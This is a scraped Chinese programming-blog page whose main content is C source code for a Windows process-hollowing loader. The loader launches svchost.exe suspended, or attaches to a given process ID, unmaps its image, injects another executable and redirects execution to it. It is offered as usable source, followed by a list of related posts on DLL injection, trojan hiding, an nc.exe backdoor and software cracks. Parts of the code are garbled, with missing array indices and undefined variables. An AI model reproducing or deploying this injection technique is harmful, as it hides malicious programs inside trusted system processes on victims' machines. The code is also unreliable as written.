#include "stdafx.h" #include "windows.h" #include "tlhelp32.h" #include "ntpsapi.h" struct PE_Header { unsigned long signature; unsigned short machine; unsigned short numSections; unsigned long timeDateStamp; unsigned long pointerToSymbolTable; unsigned long numOfSymbols; unsigned short sizeOfOptionHeader; unsigned short characteristics; }; struct PE_ExtHeader { unsigned short magic; unsigned char majorLinkerVersion; unsigned char minorLinkerVersion; unsigned long sizeOfCode; unsigned long sizeOfInitializedData; unsigned long sizeOfUninitializedData; unsigned long addressOfEntryPoint; unsigned long baseOfCode; unsigned long baseOfData; unsigned long imageBase; unsigned long sectionAlignment; unsigned long fileAlignment; unsigned short majorOSVersion; unsigned short minorOSVersion; unsigned short majorImageVersion; unsigned short minorImageVersion; unsigned short majorSubsystemVersion; unsigned short minorSubsystemVersion; unsigned long reserved1; unsigned long sizeOfImage; unsigned long sizeOfHeaders; unsigned long checksum; unsigned short subsystem; unsigned short DLLCharacteristics; unsigned long sizeOfStackReserve; unsigned long sizeOfStackCommit; unsigned long sizeOfHeapReserve; unsigned long sizeOfHeapCommit; unsigned long loaderFlags; unsigned long numberOfRVAAndSizes; unsigned long exportTableAddress; unsigned long exportTableSize; unsigned long importTableAddress; unsigned long importTableSize; unsigned long resourceTableAddress; unsigned long resourceTableSize; unsigned long exceptionTableAddress; unsigned long exceptionTableSize; unsigned long certFilePointer; unsigned long certTableSize; unsigned long relocationTableAddress; unsigned long relocationTableSize; unsigned long debugDataAddress; unsigned long debugDataSize; unsigned long archDataAddress; unsigned long archDataSize; unsigned long globalPtrAddress; unsigned long globalPtrSize; unsigned long TLSTableAddress; unsigned long TLSTableSize; unsigned long loadConfigTableAddress; unsigned long loadConfigTableSize; unsigned long boundImportTableAddress; unsigned long boundImportTableSize; unsigned long importAddressTableAddress; unsigned long importAddressTableSize; unsigned long delayImportDescAddress; unsigned long delayImportDescSize; unsigned long COMHeaderAddress; unsigned long COMHeaderSize; unsigned long reserved2; unsigned long reserved3; }; struct SectionHeader { unsigned char sectionName[8]; unsigned long virtualSize; unsigned long virtualAddress; unsigned long sizeOfRawData; unsigned long pointerToRawData; unsigned long pointerToRelocations; unsigned long pointerToLineNumbers; unsigned short numberOfRelocations; unsigned short numberOfLineNumbers; unsigned long characteristics; }; struct MZHeader { unsigned short signature; unsigned short partPag; unsigned short pageCnt; unsigned short reloCnt; unsigned short hdrSize; unsigned short minMem; unsigned short maxMem; unsigned short reloSS; unsigned short exeSP; unsigned short chksum; unsigned short exeIP; unsigned short reloCS; unsigned short tablOff; unsigned short overlay; unsigned char reserved[32]; unsigned long offsetToPE; }; struct ImportDirEntry { DWORD importLookupTable; DWORD timeDateStamp; DWORD fowarderChain; DWORD nameRVA; DWORD importAddressTable; }; struct FixupBlock { unsigned long pageRVA; unsigned long blockSize; }; #define TARGETPROC "svchost.exe" ; typedef struct _PROCINFO { DWORD baseAddr; DWORD imageSize; } PROCINFO; BOOL EXPD = False ; CHAR *PID; //********************************************************************************************************** // // This function reads the MZ, PE, PE extended and Section Headers from an EXE file. // //********************************************************************************************************** bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH, SectionHeader **outSecHdr) { fseek(fp, 0, SEEK_END); long fileSize = ftell(fp); fseek(fp, 0, SEEK_SET); if(fileSize < sizeof(MZHeader)) { printf("File size too small/n"); return false; } // read MZ Header MZHeader mzH; fread(&mzH, sizeof(MZHeader), 1, fp); if(mzH.signature != 0x5a4d) // MZ { printf("File does not have MZ header/n"); return false; } printf("Offset to PE Header = %X/n", mzH.offsetToPE); if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header)) { printf("File size too small/n"); return false; } // read PE Header fseek(fp, mzH.offsetToPE, SEEK_SET); PE_Header peH; fread(&peH, sizeof(PE_Header), 1, fp); printf("Size of option header = %d/n", peH.sizeOfOptionHeader); printf("Number of sections = %d/n", peH.numSections); if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader)) { printf("Unexpected option header size./n"); return false; } // read PE Ext Header PE_ExtHeader peXH; fread(&peXH, sizeof(PE_ExtHeader), 1, fp); printf("Import table address = %X/n", peXH.importTableAddress); printf("Import table size = %X/n", peXH.importTableSize); printf("Import address table address = %X/n", peXH.importAddressTableAddress); printf("Import address table size = %X/n", peXH.importAddressTableSize); // read the sections SectionHeader *secHdr = new SectionHeader[peH.numSections]; fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp); *outMZ = mzH; *outPE = peH; *outpeXH = peXH; *outSecHdr = secHdr; return true; } //********************************************************************************************************** // // This function calculates the size required to load an EXE into memory with proper alignment. // //********************************************************************************************************** int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr) { int result = 0; int alignment = inpeXH->sectionAlignment; if(inpeXH->sizeOfHeaders % alignment == 0) result += inpeXH->sizeOfHeaders; else { int val = inpeXH->sizeOfHeaders / alignment; val++; result += (val * alignment); } for(int i = 0; i < inPE->numSections; i++) { if(inSecHdr.virtualSize) { if(inSecHdr.virtualSize % alignment == 0) result += inSecHdr.virtualSize; else { int val = inSecHdr.virtualSize / alignment; val++; result += (val * alignment); } } } return result; } //********************************************************************************************************** // // This function calculates the aligned size of a section // //********************************************************************************************************** unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment) { if(curSize % alignment == 0) return curSize; else { int val = curSize / alignment; val++; return (val * alignment); } } //********************************************************************************************************** // // This function loads a PE file into memory with proper alignment. // Enough memory must be allocated at ptrLoc. // //********************************************************************************************************** bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc) { char *outPtr = (char *)ptrLoc; fseek(fp, 0, SEEK_SET); unsigned long headerSize = inpeXH->sizeOfHeaders; // certain PE files have sectionHeaderSize value > size of PE file itself. // this loop handles this situation by find the section that is nearest to the // PE header. for(int i = 0; i < inPE->numSections; i++) { if(inSecHdr.pointerToRawData < headerSize) headerSize = inSecHdr.pointerToRawData; } // read the PE header unsigned long readSize = fread(outPtr, 1, headerSize, fp); printf("HeaderSize = %d/n", headerSize); if(readSize != headerSize) { printf("Error reading headers (%d %d)/n", readSize, headerSize); return false; } outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment); // read the sections for(i = 0; i < inPE->numSections; i++) { if(inSecHdr.sizeOfRawData > 0) { unsigned long toRead = inSecHdr.sizeOfRawData; if(toRead > inSecHdr.virtualSize) toRead = inSecHdr.virtualSize; fseek(fp, inSecHdr.pointerToRawData, SEEK_SET); readSize = fread(outPtr, 1, toRead, fp); if(readSize != toRead) { printf("Error reading section %d/n", i); return false; } outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment); } else { // this handles the case where the PE file has an empty section. E.g. UPX0 section // in UPXed files. if(inSecHdr.virtualSize) outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment); } } return true; } //********************************************************************************************************** // // This function loads a PE file into memory with proper alignment. // Enough memory must be allocated at ptrLoc. // //********************************************************************************************************** void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase) { if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) { FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress); long delta = newBase - inpeXH->imageBase; while(fixBlk->blockSize) { printf("Addr = %X/n", fixBlk->pageRVA); printf("Size = %X/n", fixBlk->blockSize); int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1; printf("Num Entries = %d/n", numEntries); unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1); for(int i = 0; i < numEntries; i++) { DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF)); int relocType = (*offsetPtr & 0xF000) >> 12; printf("Val = %X/n", *offsetPtr); printf("Type = %X/n", relocType); if(relocType == 3) *codeLoc = ((DWORD)*codeLoc) + delta; else { printf("Unknown relocation type = %d/n", relocType); } offsetPtr++; } fixBlk = (FixupBlock *)offsetPtr; } } } //********************************************************************************************************** // // Creates the original EXE in suspended mode and returns its info in the PROCINFO structure. // //********************************************************************************************************** BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo) { STARTUPINFO si = {0}; if(!EXPD) { if(CreateProcess(NULL, TARGETPROC, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi)) { ctx->ContextFlags=CONTEXT_FULL; GetThreadContext(pi->hThread, ctx); DWORD *pebInfo = (DWORD *)ctx->Ebx; DWORD read; ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read); DWORD curAddr = outChildProcInfo->baseAddr; MEMORY_BASIC_INFORMATION memInfo; while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo))) { if(memInfo.State == MEM_FREE) break; curAddr += memInfo.RegionSize; } outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr; return TRUE; } } else { DEBUG_EVENT DBEvent; if(DebugActiveProcess((DWORD)*PID)) { WaitForDebugEvent(&DBEvent,INFINITE); pi->hThread=DBEvent.u.CreateProcessInfo.hThread; pi->hprocess=DBEvent.u.CreateProcessInfo.hProcess; ctx->ContextFlags=CONTEXT_FULL; GetThreadContext(pi->hThread, ctx); DWORD *pebInfo2 = (DWORD *)ctx->Fs; *pedInfo2+=0x30; DWORD read2; ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2); DWORD curAddr2 = outChildProcInfo2->baseAddr; MEMORY_BASIC_INFORMATION memInfo2; while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2))) { if(memInfo2.State == MEM_FREE) break; curAddr2+= memInfo2.RegionSize; } outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr; return TRUE; } } return FALSE; } //********************************************************************************************************** // // Returns true if the PE file has a relocation table // //********************************************************************************************************** BOOL hasRelocationTable(PE_ExtHeader *inpeXH) { if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) { return TRUE; } return FALSE; } typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress); //********************************************************************************************************** // // To replace the original EXE with another one we do the following. // 1) Create the original EXE process in suspended mode. // 2) Unmap the image of the original EXE. // 3) Allocate memory at the baseaddress of the new EXE. // 4) Load the new EXE image into the allocated memory. // 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended // thread. // // When the original EXE process is created in suspend mode, GetThreadContext returns these useful // register values. // EAX - process entry point // EBX - points to PEB // // So before resuming the suspended thread, we need to set EAX of the context to the entry point of the // new EXE. // //********************************************************************************************************** void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize) { STARTUPINFO si = {0}; PROCESS_INFORMATION pi; CONTEXT ctx; PROCINFO childInfo; if(createChild(&pi, &ctx, &childInfo)) { printf("Original EXE loaded (PID = %d)./n", pi.dwProcessId); printf("Original Base Addr = %X, Size = %X/n", childInfo.baseAddr, childInfo.imageSize); LPVOID v = (LPVOID)NULL; if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize) { // if new EXE has same baseaddr and is its size is <= to the original EXE, just // overwrite it in memory v = (LPVOID)childInfo.baseAddr; DWORD oldProtect; VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect); printf("Using Existing Mem for New EXE at %X/n", (unsigned long)v); } else { // get address of ZwUnmapViewOfSection PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); // try to unmap the original EXE image if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0) { // allocate memory for the new EXE image at the prefered imagebase. v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(v) printf("Unmapped and Allocated Mem for New EXE at %X/n", (unsigned long)v); } } if(!v && hasRelocationTable(inpeXH)) { // if unmap failed but EXE is relocatable, then we try to load the EXE at another // location v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(v) { printf("Allocated Mem for New EXE at %X. EXE will be relocated./n", (unsigned long)v); // we've got to do the relocation ourself if we load the image at another // memory location doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v); } } printf("EIP = %X/n", ctx.Eip); printf("EAX = %X/n", ctx.Eax); printf("EBX = %X/n", ctx.Ebx); // EBX points to PEB printf("ECX = %X/n", ctx.Ecx); printf("EDX = %X/n", ctx.Edx); if(v) { printf("New EXE Image Size = %X/n", imageSize); // patch the EXE base addr in PEB (PEB + 8 holds process base addr) DWORD *pebInfo = (DWORD *)ctx.Ebx; DWORD wrote; WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote); // patch the base addr in the PE header of the EXE that we load ourselves PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc); peXH->imageBase = (DWORD)v; if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL)) { printf("New EXE image injected into process./n"); ctx.ContextFlags=CONTEXT_FULL; //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc); if((DWORD)v == childInfo.baseAddr) { ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint; // eax holds new entry point } else { // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was // performed. ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint; // eax holds new entry point } printf("********> EIP = %X/n", ctx.Eip); printf("********> EAX = %X/n", ctx.Eax); SetThreadContext(pi.hThread,&ctx); ResumeThread(pi.hThread); printf("Process resumed (PID = %d)./n", pi.dwProcessId); } else { printf("WriteProcessMemory failed/n"); TerminateProcess(pi.hProcess, 0); } } else { printf("Load failed. Consider making this EXE relocatable./n"); TerminateProcess(pi.hProcess, 0); } } else { printf("Cannot load %s/n", TARGETPROC); } } int main(int argc, char* argv[]) { if((argc < 2 )||(argc > 3)) { printf("/nUsage: %s [pid]/n", argv[0]); return 1; } if(argc==3){ alloc(PID,1024); memset(PID,0,1024); strcpy(PID,argv[2]); EXPD= True ; } FILE *fp = fopen(argv[1], "rb"); if(fp) { MZHeader mzH; PE_Header peH; PE_ExtHeader peXH; SectionHeader *secHdr; if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr)) { int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr); printf("Image Size = %X/n", imageSize); LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(ptrLoc) { printf("Memory allocated at %X/n", ptrLoc); loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc); doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize); } else printf("Allocation failed/n"); } fclose(fp); } else printf("/nCannot open the EXE file!/n"); return 0; }
相关推荐
第22章插入DLL和挂接API
第22章插入DLL和挂接API 在MicrosoftWindows中,每个进程都有它自己的私有地址空间。当使用指针来引用内存时,指针的值将引用你自己进程的地址空间中的一个内存地址。你的进程不能创建一个其引用属于另一个进程的内存指针。因此,如果你的进程存在一个错误,改写了一个随机地址上的内存,那么这个错误不会影响另一个进程使用的内存。 在Windows98下运行的各个进程共享2GB的地址空间
Okhttp:Fatal Exception: java.lang.IllegalArgumentException:unexpected char 0x0a at28 in header value
问题:请求中的header信息中包含空格 解决方式:将要提交的header信息用trim()方法去掉空格
Detours学习之十三:Detours API用于将dll和有效负载插入新进程的api
用于将dll和有效负载插入新进程的api DetourCreateProcessWithDllEx DetourCreateProcessWithDlls DetourCopyPayloadToProcess DetourCopyPayloadToProcessEx DetourFinishHelperProcess DetourIsHelperProcess DetourRestoreAfterWith 一、DetourCreateProcessWithDllEx 创建一个新进程并将DLL
Unexpected value 'undefined' declared by the module ''
了解一下hmr ,重启服务 ng serve
把dll模块注入到游戏进程的方法_插APC注入
APC是异步过程调用,系统创建线程的时候会为线程创建一个APC队列,当线程调用SleepEx,WaitSingleObjectEx等函数时,并把线程状态被设置为可提醒状态时,线程并不会睡眠,而是检查APC队列是否为空,如果不为空,转去执行APC队列中的每一项,因此给目标进程中的线程插入APC,就可以实现进程注入。
动态库dll与静态库lib编程5:进程注入技术
动态库dll与静态库lib编程5:进程注入技术。
DLL调用详解
像所有进程都有一个入口点函数一样,DLL也有一个入口点函数--DllMain。系统在不同的时间调用这个入口点函数,通常用于供DLL进行每个进程或线程的初始化和清除操作。这四个不同时刻分别为DLL_PROCESS_ATTACH、DLL_PROCESS_DETACH、DLL_TREAD_ATTACH、DLL_TREAD_DETACH。下面进行分别描述 当DLL被初次映射到进程的地址空
R语言TCGA数据下载避坑指南:biolinks包实战中的5个常见错误与解决方案
本文详细介绍了使用R语言的TCGAbiolinks包下载TCGA数据时常见的5个错误及其解决方案,包括安装与加载问题、查询构建参数设置、下载中断处理、数据加载格式不匹配以及版本兼容性问题。通过实战案例和代码示例,帮助生物信息学研究者高效获取TCGA数据,避免常见陷阱。
模拟PE文件加载
PE重载 文章目录PE重载0.说明1.PE重载原理第一步:将exe映射至内存第二步:修正重定位表的地址第三步: 修正IAT表第四步:跳转运行至PE入口2.PE重载总结3.一个小问题4.源码 0.说明 观看滴水逆向视频总结(部分截图来自于滴水课件) 编译器:vc++6.0 编写语言:c 欢迎大家留言交流????^ __ ^ 可以加我qq一起学习:1245885144???????? 1.PE重载原理 模拟系统加载一个exe的过程, 通过pe重载的方法,可以将原有exe分割、加密、任意操作后,再通过pe重载的方
告别命令行恐惧!用nTopology可视化工具5分钟搞定三维Voronoi泡沫建模
本文介绍如何利用nTopology可视化工具快速生成三维Voronoi泡沫结构,无需编程即可完成复杂建模。Voronoi结构在轻量化设计、能量吸收和生物医学等领域具有重要应用,传统命令行方法门槛较高。通过nTopology的四步流程,用户可在5分钟内创建仿真就绪模型,大幅提升设计效率。
Orcad原理图导入Allegro
在即将设计的PCB中,将层叠设置好后,执行File→import→parameters,将刚才导出的.prm文件导入,很多参数就自动设置好了,与已完成的PCB里的参数保持一致。具体操作是:在已完成的PCB里执行File→Exoprt→Parameters,弹出下图所示的对话框,选择需要导出的设计参数后,设置到导出路径,导出记录设计参数的文件(.prm)。在.brd文件导入网表后,往往需要页面大小、格点、各层叠里各要素显示颜色等参数,手动设置十分麻烦,我们可以在一块已经完成的PCB里导出记录设计参数的文件。
一个向别的进程插入dll的代码 .
--------- Functions in C --------------- CONTEXT OriginalContext; //Get/SetThreadContext's parameter char OriginalCodePage[4096]; DWORD sizeofCP=0; VOID* mySec; //my section...Offset of Code
手把手教你用差分放大电路搭建LC振荡器(实测频率误差分析)
本文通过一个差分放大电路搭建LC振荡器的实践案例,深入分析了实测频率与理论值产生显著误差的原因。核心在于共模电感的互感效应改变了谐振回路的等效电感,导致频率偏差。文章提供了从电路搭建、误差根源剖析到波形优化与稳定性提升的完整解决方案,帮助电子爱好者深入理解模拟电路的实际行为。
一个向别的进程插入dll的代码收藏
#include "stdafx.h"#include "windows.h"#include "tlhelp32.h"#include "ntpsapi.h"struct PE_Header{unsigned long signature;unsigned short machine;unsigned short num
华为面试手撕真题【求1-n的最小公倍数】
求1-n的最小公倍数
RTA_OS基础功能讲解 2.6-资源锁和自旋锁
访问需要在任务和 ISR 之间共享的硬件或数据可能不可靠、不安全。这是因为当优先级较低的任务或 ISR 正在更新共享数据时,可能会发生任务或 ISR 抢占。这种情况被称为竞争条件,极难测试。访问共享数据的语句序列称为关键部分。要安全访问关键部分中引用的代码和数据,就需要执行互斥。换句话说,必须确保系统中没有其他任务或第 2 类 ISR 能够在关键部分期间抢占正在执行的任务。你可以将任务声明为非抢占式任务,这样就可以避免互斥问题。
NC.EXE结合线程插入技术做的一个后门
LOOK 这是我写一文章,把NC.EXE结合线程插入技术做的一个后门,,, 你看看吧 不知道大家用过ncx99.exe没有,这个小工具很有用,运行后,它BIND到一个端口,并接管cmd.exe的输入输出,使得远程用户得到一个SHELL来实现各种操作,不需要特别的客户端,只要用WINDOWS自带的TELNET客户端就可以了。 下面我给出
微软商店报错“此产品当前不可用”?终极修复指南
微软商店报错“此产品当前不可用”?终极修复指南
无Dll插入进程,下载者VC源代码
http://hi.baidu.com/core22/blog/item/f5399d23c1f9bb40ac34de73.html 无Dll插入进程,下载者VC源代码2007-12-30 15:29 生成MiNI下载者,则需要自己做一个工具了.读懂代码,把相应的部份加密即可.参考delphi版本的下载者源代码,编出来有16K左右。压缩也有10K多
第18章:Ingestion Pipeline 数据摄取流水线
本文介绍了LlamaIndex的IngestionPipeline如何解决合同文档处理中的四大核心问题:不可重复、无追溯、无容错和无法缓存。通过标准化数据处理流程,将手工操作升级为工厂流水线模式,实现数据的可复用、可追踪和高效处理。文章详细阐述了Pipeline的设计原理,包括Transformation的串行编排、缓存机制(基于输入和Transformation的哈希值)以及数据血缘追踪(通过Node的metadata记录处理过程)。
计算机控制技术及应用
《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。
木马隐藏技术(3) -- 进程注入
此为《木马技术揭秘与防御》系列读书笔记 进程注入prerequirement 类似的说法: 线程插入、DLL注入、远程线程插入 线程插入: 让一个线程在别的进程中执行 DLL文件隐藏的原理: dll文件不能单独运行,需要由进程(宿主)加载并调用。因为不能单独运行,dll文件就不会在进程管理器中出现,于是入侵检测软件和进程列表中都只有宿主进程的id,而找不到dll。 进程注...
WINCC7.3破解文件
WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!
NT环境下进程隐藏的实现
在NT环境下隐藏进程,也就是说在用户不知情的条件下,执行自己的代码的方法有很多种,比如说使用注册表插入DLL,使用Windows挂钩等等。其中比较有代表性的是Jeffrey Richer在《Windows核心编程》中介绍的LoadLibrary方法和罗云彬在《windows环境下32位汇编语言程序设计》中介绍的方法。两种方法的共同特点是:都采用远程线程,让自己的代码作为宿主进程的线程在宿主进程的
温度PID控制PLC程序
温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值
精雕软件(JDpaint) 5.5 绿色版
精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版
最基础的插入进程代码
//获得进程句柄 HWND hwnd=::FindWindow(NULL,"计算器"); if(!hwnd) { AfxMessageBox("请打开计算器"); return; } //取得进程句柄和进程ID DWORD Process,ProcessId; Process=::GetWindowThreadProcessId(hwnd,&ProcessId); //利用进程句柄
1900



被折叠的 条评论
为什么被折叠?



